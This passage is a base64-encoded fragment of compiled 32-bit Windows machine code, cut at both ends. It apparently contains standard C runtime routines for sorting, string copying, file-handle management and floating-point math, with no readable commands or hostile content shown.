JdAPw/wmLiIQAAACFyXQD8P8Ji4iAAAAAhcl0A/D/CYuIjAAAAIXJdAPw/wlWagaNSChegXn4WEYBEHQJixGF0nQD8P8Kg3n0AHQKi1H8hdJ0A/D/CoPBEIPuAXXW/7CcAAAA6Fr///9ZXl3Dagxo6DYBEOiSn///g2XkAOgx3P//i/iLDRBHARCFj1ADAAB0B4t3TIX2dUNqBOgW2P//WYNl/AD/NYCkARCNR0xQ6DAAAABZWYvwiXXkx0X8/v///+gMAAAAhfZ1EehI1v//i3XkagToJNj//1nDi8bobp///8OL/1WL7FaLdQxXhfZ0PItFCIXAdDWLODv+dQSLxustVokw6Jj8//9Zhf9071fo1v7//4N/DABZdeKB/5hFARB02lfo9fz//1nr0TPAX15dw4v/VYvsg+wQU1ZXM/+74wAAAIl99Ild+I0EO8dF/FUAAACZK8KLyNH5akFfiU3wizTN2A4BEItNCGpaK85bD7cEMWY7x3INZjvDdwiDwCAPt9DrAovQD7cGZjvHcgtmO8N3BoPAIA+3wIPGAoNt/AF0CmaF0nQFZjvQdMKLTfCLffSLXfgPt8APt9Ir0HQfhdJ5CI1Z/4ld+OsGjXkBiX30O/sPjm////+DyP/rB4sEzdwOARBfXluL5V3Di/9Vi+yDfQgAdB3/dQjoMf///1mFwHgQPeQAAABzCYsExbD9ABBdwzPAXcPMzMzMzMzMzMzMzMzMzMyL/1WL7FGhIEABEDPFiUX8i00IU4tdDDvZdmyLRRBWV40UAYvyi/k783co6wONSQCLTRRXVv8VSOEAEP9VFIPECIXAfgKL/otFEAPwO/N24ItNCIvwi9M7+3QhhcB0HSv7igKNUgGKTBf/iEQX/4hK/4PuAXXri0UQi00IK9iNFAE72XeeX16LTfwzzVvos5H//4vlXcPMzMzMzMzMzMzMi/9Vi+yLRQxXi30IO/h0JlaLdRCF9nQdK/iNmwAAAACKCI1AAYpUB/+ITAf/iFD/g+4BdeteX13DzMzMzMzMzIv/VYvsgewcAQAAoSBAARAzxYlF/ItNCItVDImN/P7//1aLdRSJtQD///9Xi30Qib0E////hcl1JIXSdCDo1uH//8cAFgAAAOgP4f//X16LTfwzzegMkf//i+Vdw4X/dNyF9nTYx4X4/v//AAAAAIP6Ag+CEgMAAEoPr9dTA9GJlQj///+LwjPSK8H3941YAYP7CHcWVlf/tQj///9R6H3+//+DxBDptwIAANHrD6/fA9lTUYvOiZ3w/v///xVI4QAQ/9aDxAiFwH4QV1P/tfz+///o6P7//4PEDP+1CP///4vO/7X8/v///xVI4QAQ/9aDxAiFwH4VV/+1CP////+1/P7//+i2/v//g8QM/7UI////i85T/xVI4QAQ/9aDxAiFwH4QV/+1CP///1Pojv7//4PEDIuFCP///4v4i7X8/v//i5UE////iYXs/v//kDvedjcD8om19P7//zvzcyWLjQD///9TVv8VSOEAEP+VAP///4uVBP///4PECIXAftM73nc9i4UI////i70A////A/I78HcfU1aLz/8VSOEAEP/Xi5UE////g8QIhcCLhQj///9+24u97P7//4m19P7//4u1AP///+sGjZsAAAAAi5UE////K/o7+3YZU1eLzv8VSOEAEP/Wg8QIhcB/4YuVBP///4u19P7//4m97P7//zv+cl6Jlej+//+JveT+//8793Qzi96L14u16P7//yvfigKNUgGKTBP/iEQT/4hK/4PuAXXri7X0/v//i53w/v//i5UE////i4UI////O98Phfr+//+L3omd8P7//+nt/v//A/o733MyjaQkAAAAACv6O/t2JYuNAP///1NX/xVI4QAQ/5UA////i5UE////g8QIhcB02Tvfci+LtQD///8r+ju9/P7//3YZU1eLzv8VSOEAEP/Wi5UE////g8QIhcB03Yu19P7//4uVCP///4vHi538/v//i8orzivDO8F8OTvfcxiLhfj+//+JnIUM////iXyFhECJhfj+//+LvQT///878nNMi86LtQD///+Jjfz+///pav3//zvycxiLhfj+//+JtIUM////iVSFhECJhfj+//+Ljfz+//+LtQD///87z3MVi9eLvQT////pK/3//4u1AP///+sGi70E////i4X4/v//g+gBiYX4/v//eBaLjIUM////i1SFhImN/P7//+n2/P//W4tN/F8zzV7oz43//4vlXcOL/1WL7FGLVRSLTQhWhdJ1DYXJdQ05TQx1ITPA6y6FyXQZi0UMhcB0EoXSdQSIEevpi3UQhfZ1GcYBAOg+3v//ahZeiTDoeN3//4vGXovlXcNTK/GL2FeL+YP6/3URigQ+iAd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/dAP/ReShlKQBEIsEsIPAIFD/FZjgABChlKQBEP80sOjXxP//WaGUpAEQgySwAEbrncdF/P7////oCQAAAItF5Oh3jv//w2oI6BzH//9Zw4v/VYvsVot1CFeNfgyLB8HoDagBdCSLB8HoBqgBdBv/dgTohcT//1m4v/7///AhBzPAiUYEiQaJRghfXl3Di/9Vi+xWi3UIhfYPhOoAAACLRgw7BSxHARB0B1DoTMT//1mLRhA7BTBHARB0B1DoOsT//1mLRhQ7BTRHARB0B1DoKMT//1mLRhg7BThHARB0B1DoFsT//1mLRhw7BTxHARB0B1DoBMT//1mLRiA7BUBHARB0B1Do8sP//1mLRiQ7BURHARB0B1Do4MP//1mLRjg7BVhHARB0B1DozsP//1mLRjw7BVxHARB0B1DovMP//1mLRkA7BWBHARB0B1DoqsP//1mLRkQ7BWRHARB0B1DomMP//1mLRkg7BWhHARB0B1DohsP//1mLRkw7BWxHARB0B1DodMP//1leXcOL/1WL7FaLdQiF9nRZiwY7BSBHARB0B1DoU8P//1mLRgQ7BSRHARB0B1DoQcP//1mLRgg7BShHARB0B1DoL8P//1mLRjA7BVBHARB0B1DoHcP//1mLRjQ7BVRHARB0B1DoC8P//1leXcOL/1WL7ItFDFNWi3UIVzP/jQSGi8grzoPBA8HpAjvGG9v30yPZdBD/NujZwv//R412BFk7+3XwX15bXcOL/1WL7FaLdQiF9g+E0AAAAGoHVuir////jUYcagdQ6KD///+NRjhqDFDolf///41GaGoMUOiK////jYaYAAAAagJQ6Hz/////tqAAAADoeML///+2pAAAAOhtwv///7aoAAAA6GLC//+NhrQAAABqB1DoTf///42G0AAAAGoHUOg/////g8REjYbsAAAAagxQ6C7///+NhhwBAABqDFDoIP///42GTAEAAGoCUOgS/////7ZUAQAA6A7C////tlgBAADoA8L///+2XAEAAOj4wf///7ZgAQAA6O3B//+DxCheXcOL/1WL7ItNCDPAOAF0DDtFDHQHQIA8CAB19F3DoaSkARDDagxocDcBEOg0i///M/aJdeSLRQj/MOgA+f//WYl1/ItFDIsAiziL18H6BovHg+A/a8gwiwSVaKIBEPZECCgBdCFX6Kv5//9ZUP8VMOA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K7XQC2eDDxoVw////AtstkB8BEIP4AXXtCu106dng6+Xd2OkNAgAA3djptQIAAFjZ5JvdvWD///+b9oVh////AXUP3djbLZAfARAK7XQC2eDDxoVw////BOnXAQAA3djd2NstkB8BEMaFcP///wPDCsl1r93Y2y2QHwEQw9nA2eHbLa4fARDe2ZvdvWD///+b9oVh////QXWV2cDZ/Nnkm929YP///5uKlWH////Zydjh2eSb3b1g////2eHZ8MPZwNn82Nmb3+CedRrZwNwNwh8BENnA2fze2Zvf4J50DbgBAAAAw7gAAAAA6/i4AgAAAOvxVoPsdIv0VoPsCN0cJIPsCN0cJJvddgjoHwoAAIPEFN1mCN0Gg8R0XoXAdAXp0AEAAMPMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////ux4gARDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7seIAEQ2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPozgAAANnJ3djD6MQAAADr9t3Y3djZ7sPd2N3Y2e6E7XQC2eDD3djd2Nnow9u9Yv///9utYv////aFaf///0B0CMaFcP///wDDxoVw////ANwFDiABEMPZydu9Yv///9utYv////aFaf///0B0CcaFcP///wDrB8aFcP///wDewcPbvWL////brWL////2hWn///9AdCDZydu9Yv///9utYv////aFaf///0B0CcaFcP///wDrB8aFcP///wHewcPd2N3Y2y3wHwEQgL1w////AH8HxoVw////AQrJw93Y3djbLQQgARAK7XQC2eAKyXQI3QUWIAEQ3snDCsl0Atngw8zMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgAAAAAw9wFMCABELgAAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZLCRaw2aLBCRmPX8CdB5mg+AgdBWb3+Bmg+AgdAy4CAAAAOjZAAAAWsPZLCRaw4PsCN0UJItEJASDxAglAADwf+sUg+wI3RQki0QkBIPECCUAAPB/dD09AADwf3RfZosEJGY9fwJ0KmaD4CB1IZvf4GaD4CB0GLgIAAAAg/oddAfoewAAAFrD6F0AAABaw9ksJFrD3QVcIAEQ2cnZ/d3Z2cDZ4dwdTCABEJvf4J64BAAAAHPH3A1sIAEQ67/dBVQgARDZydn93dnZwNnh3B1EIAEQm9/gnrgDAAAAdp7cDWQgARDrlszMzMxVi+yDxOCJReCLRRiJRfCLRRyJRfTrCVWL7IPE4IlF4N1d+IlN5ItFEItNFIlF6IlN7I1FCI1N4FBRUuhbBwAAg8QM3UX4ZoF9CH8CdAPZbQjJw4v/VYvsg+wkoSBAARAzxYlF/IM9rKQBEABWV3QQ/zW4pAEQ/xUY4AAQi/jrBb8mggAQi0UUg/gaD48hAQAAD4QPAQAAg/gOD4+nAAAAD4SOAAAAagJZK8F0eIPoAXRqg+gFdFaD6AEPhZsBAADHReB4IAEQi0UIi8+LdRDHRdwBAAAA3QCLRQzdXeTdAI1F3N1d7N0GUN1d9P8VSOEAEP/XWYXAD4VZAQAA6La4///HACEAAADpSQEAAIlN3MdF4HggARDpBAEAAMdF4HQgARDroolN3MdF4HQgARDp7AAAAMdF3AMAAADHReCAIAEQ6dkAAACD6A90UYPoCXRDg+gBD4UBAQAAx0XghCABEItFCIvPi3UQx0XcBAAAAN0Ai0UM3V3k3QCNRdzdXezdBlDdXfT/FUjhABD/11npwgAAAMdF3AMAAADrfMdF4IAgARDru9noi0UQ3RjpqQAAAIPoG3Rbg+gBdEqD6BV0OYPoCXQog+gDdBctqwMAAHQJg+gBD4WAAAAAi0UI3QDrxsdF4IggARDp2f7//8dF4JAgARDpzf7//8dF4JggARDpwf7//8dF4IQgARDptf7//8dF3AIAAADHReCEIAEQi0UIi8+LdRDdAItFDN1d5N0AjUXc3V3s3QZQ3V30/xVI4QAQ/9dZhcB1C+hot///xwAiAAAA3UX03R6LTfxfM81e6J5m//+L5V3Di/9Vi+xRUVNWvv//AABWaD8bAADo6QIAAN1FCIvYWVkPt00OuPB/AAAjyFFR3RwkZjvIdTfo4Q0AAEhZWYP4AncOVlPouQIAAN1FCFlZ62PdRQjdBaAgARBTg+wQ2MHdXCQI3RwkagxqCOs/6MoFAADdVfjdRQiDxAjd4d/g9sREehJW3dlT3djodAIAAN1F+FlZ6x72wyB16VOD7BDZyd1cJAjdHCRqDGoQ6NUFAACDxBxeW4vlXcNqDGjQNwEQ6HBx//+DZeQAi0UI/zDoPd///1mDZfwAi0UMiwCLMIvWwfoGi8aD4D9ryDCLBJVoogEQ9kQIKAF0C1bo4gAAAFmL8OsO6EO2///HAAkAAACDzv+JdeTHRfz+////6A0AAACLxuhScf//wgwAi3Xki0UQ/zDo+t7//1nDi/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOha////i+Vdw4v/VYvsUVaLdQiD/v51FejDtf//gyAA6M61///HAAkAAADrU4X2eDc7NWikARBzL4vGi9aD4D/B+g